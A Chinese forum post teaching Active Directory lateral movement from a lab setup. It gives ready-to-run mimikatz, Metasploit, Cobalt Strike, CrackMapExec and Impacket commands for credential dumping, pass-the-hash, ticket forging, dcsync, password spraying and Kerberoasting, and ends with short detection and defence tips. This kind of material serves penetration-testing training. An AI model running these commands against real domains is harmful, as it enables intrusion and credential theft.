找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3826

积分

0

好友

528

主题
发表于 5 小时前 | 查看: 3| 回复: 0

收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件。这里注意域内域外是有差异的。

我们需要判断当前获得的权限是域内的还是域外的,如一个计算机有两个角色,一个是Meteor_Kai,对应域外用户,一个是webadmin,对应域内用户。

钓鱼攻击可能获得域内用户也可能获得域外用户。

判断域内域外很好判断,随便使用一个域内查询命令即可,看会不会正常回显。

net user /domain

如果是域外用户,那么我们内网域横向移动的手法也就不一定能用了。

域外用户

  1. 假设我们上线的是administrator,如果我们收集内网域的信息,很大可能会失败。同时不能正常通讯内网域。我们可以尝试提权到system,system是无敌的你可能这么想。

  2. 也可以通过其他用户上线来转到域内用户,cs上线后使用mimikatz抓取明文密码,进行密码的收集后进行其他用户上线。

  3. 也可以通过以下工具来进行域内用户的枚举

https://github.com/ropnop/kerbrute

kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件

这里要注意一下mimikatz在win10或者2012R2以上,内存中默认禁止缓存明文密码,获取到的是hash。可以通过修改注册表的方式进行抓取,但需重启后重新登陆时才能抓取,实战中不太好啊!

无论是获取的是域内还是域外,一般都需要提权,权限太低是无法抓取明文密码的。

横向移动

基于口令凭据 横向移动

ipc smb wmi dcom winrs winrm rdp等

pth基于hash传递, ptt基于票据(ticket)传递, ptk基于key传递

基于漏洞

域控提权漏洞 Exchange漏洞攻防

基于配置

委派 dysnc asrep kerberos攻击 ntlmreply

基于口令凭据

口令凭据的横向移动手段是不会被域环境(如子域父域域森林等)影响的,只要知道密码就可以进行横向移动。

ipc/smb/wmi/dcom/winrm/rpc

这些协议都可以进行远程连接和命令执行,前提是知道目标用户的账号密码。

pth(hash传递)

使用mimikatz进行pth攻击:

mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:ntlm_hash

ptt(票据传递)

mimikatz kerberos::purge
mimikatz kerberos::golden /user:用户 /domain:域名 /sid:SID /target:目标机器 /service:服务类型 /ptt

ptk(key传递)

提取 Windows LSASS 进程中的 EKeys(加密密钥):

mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:sqlserver\administrator /domain:192.168.3.32 /aes256:39acf6c939cbfc4fd9cb36ef5aa417d2a36c4086f2e146bd663cc9885615d45e

这里拿god.org来试试

域内横向移动测试

执行结果

执行后web主机弹出一个shell,拥有system权限,但仍然是web主机的,没成功横向移动

横向移动失败

因此这个横向移动就失败了。。。他有点鸡肋,要打补丁且禁用NTLM。

实战场景也不常见,太少了

委派(基于配置)

参考文章:委派攻击深入解析

委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系。

域委派分类:

  1. 非约束委派(Unconstrained Delegation, UD)
  2. 约束委派(Constrained Delegation, CD)
  3. 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个拓展协议限制服务账户只能访问指定服务资源。

RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

账户分类:

  • 机器账户:计算机本身名称的账户,在域中computers组内的计算机。
  • 主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。
  • 服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。

能不能通过委派这种方法来横向移动主要就是看dc上的设置,有没有设置主机账户、机器账户上的委派。如果设置不信任此计算机来源的委派,则无法利用。

非约束委派利用

当目标服务器设置了非约束委派时,我们可以诱导域控或其他高权限用户连接到该服务器,从而捕获其TGT票据。

利用流程:

  1. 扫描发现设置了非约束委派的主机
  2. 在该主机上监听SMB/TCP流量
  3. 诱使域管用户连接(如通过UNC路径)
  4. 捕获TGT票据并导入使用

约束委派利用

利用S4U2Self和S4U2Proxy扩展协议,伪造服务请求。

所需条件:

  • 目标服务账户具有约束委派属性
  • 知道服务账户的凭据(密码或hash)

利用方式:

mimikatz kerberos::golden /user:域管 /domain:域名 /sid:域SID /target:目标服务 /service:cifs /rc4:服务账户hash /ptt

基于资源的约束委派(RBCD)

这是较新的委派类型,由资源所有者控制委派权限。

检测命令:

Get-DomainComputer | ?{$_.msDS-AllowedToActOnBehalfOfOtherIdentity}

利用步骤:

  1. 获取目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性
  2. 创建新的机器账户
  3. 修改目标计算机的ACL,赋予新账户委派权限
  4. 使用新账户进行S4U委托攻击

MSF中的横向移动

psexec模块

use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 192.168.3.32
set USERNAME administrator
set PASSWORD admin!@#45
run

wmi模块

use exploit/windows/wmi/wmi_exec
set RHOST 192.168.3.32
set TARGETPAYLOAD WindowsX64
set USERNAME administrator
set PASSWORD admin!@#45
run

Cobalt Strike中的横向移动

pth攻击

pth administrator domain.com nt-hash

连接成功后会弹出新的beacon。

ptt攻击

execute-assembly C:\Rubeus.exe kerberoast

获取服务票据后进行离线破解。

dcsync攻击

dcsync domain.com administrator

直接从域控同步用户hash。

CrackMapExec-密码喷射

手工去横向移动面临诸多挑战:

  • 目标太多
  • 密码太多
  • 帐号太多
  • 协议太多

工具地址:https://github.com/byt3bl33d3r/CrackMapExec

Linux Proxychains使用

代理配置:Proxychains.conf
代理调用:Proxychains 命令

密码喷射-域用户登录PTH

主要参数:

  • -u 用户
  • -p 密码
  • -H 哈希值
  • -d 指定域
  • -x 执行命令

主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等

首先需要建立socks节点和proxychains,因为工具是在本地使用的。我们拿kali来吧,windows的cme不会用。。

proxychains cme smb 192.168.3.32 -u administrator -p 'admin!@#45' -x 'whoami'

批量扫描与爆破

proxychains cme smb 192.168.3.0/24 -u users.txt -p passwords.txt --continue-on-success

支持多种协议:smb、winrm、ldap、mssql等。

Impacket工具集

atexec.py

python atexec.py domain/administrator:password@192.168.3.32 "whoami"

通过计划任务执行命令。

wmiexec.py

python wmiexec.py domain/administrator:password@192.168.3.32

通过WMI执行命令,无需回连。

smbexec.py

python smbexec.py domain/administrator:password@192.168.3.32

通过SMB服务执行命令。

psexec.py

python psexec.py domain/administrator:password@192.168.3.32

模拟PsExec行为。

Kerberos攻击

AS-REP Roasting

对于未启用预认证的账户:

python GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

Kerberoasting

请求服务票据进行离线破解:

python GetUserSPNs.py domain.com/user:password -request

或使用Rubeus:

Rubeus.exe kerberoast /outfile:kerberoast.txt

Silver Ticket

针对特定服务伪造票据:

mimikatz kerberos::golden /domain:domain.com /sid:S-1-5-21... /target:web.domain.com /service:http /rc4:service_hash /user:user /ptt

Golden Ticket

伪造域管TGT票据:

mimikatz kerberos::golden /user:fakeuser /domain:domain.com /sid:S-1-5-21... /krbtgt:krbtgt_hash /ptt

横向移动检测与防御

检测方法

  • 监控异常的Kerberos请求
  • 检查非正常的委派设置
  • 分析日志中的多次身份验证失败
  • 监控LSASS进程的异常访问

防御建议

  • 最小权限原则
  • 启用LDAPS
  • 配置适当的委派策略
  • 使用LAPS管理本地管理员密码
  • 启用审核策略

横向移动是内网渗透的关键环节,掌握多种技术手段并在实际环境中灵活运用至关重要。建议在合法授权的环境下进行学习和研究。




上一篇:OpenClaw本土化加速:中国AI生态如何“消化”这只开源“龙虾”?
下一篇:DDR5内存价格飙升!7千预算配OpenClaw主机,竟只够买两条32G?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-10 11:05 , Processed in 0.434302 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表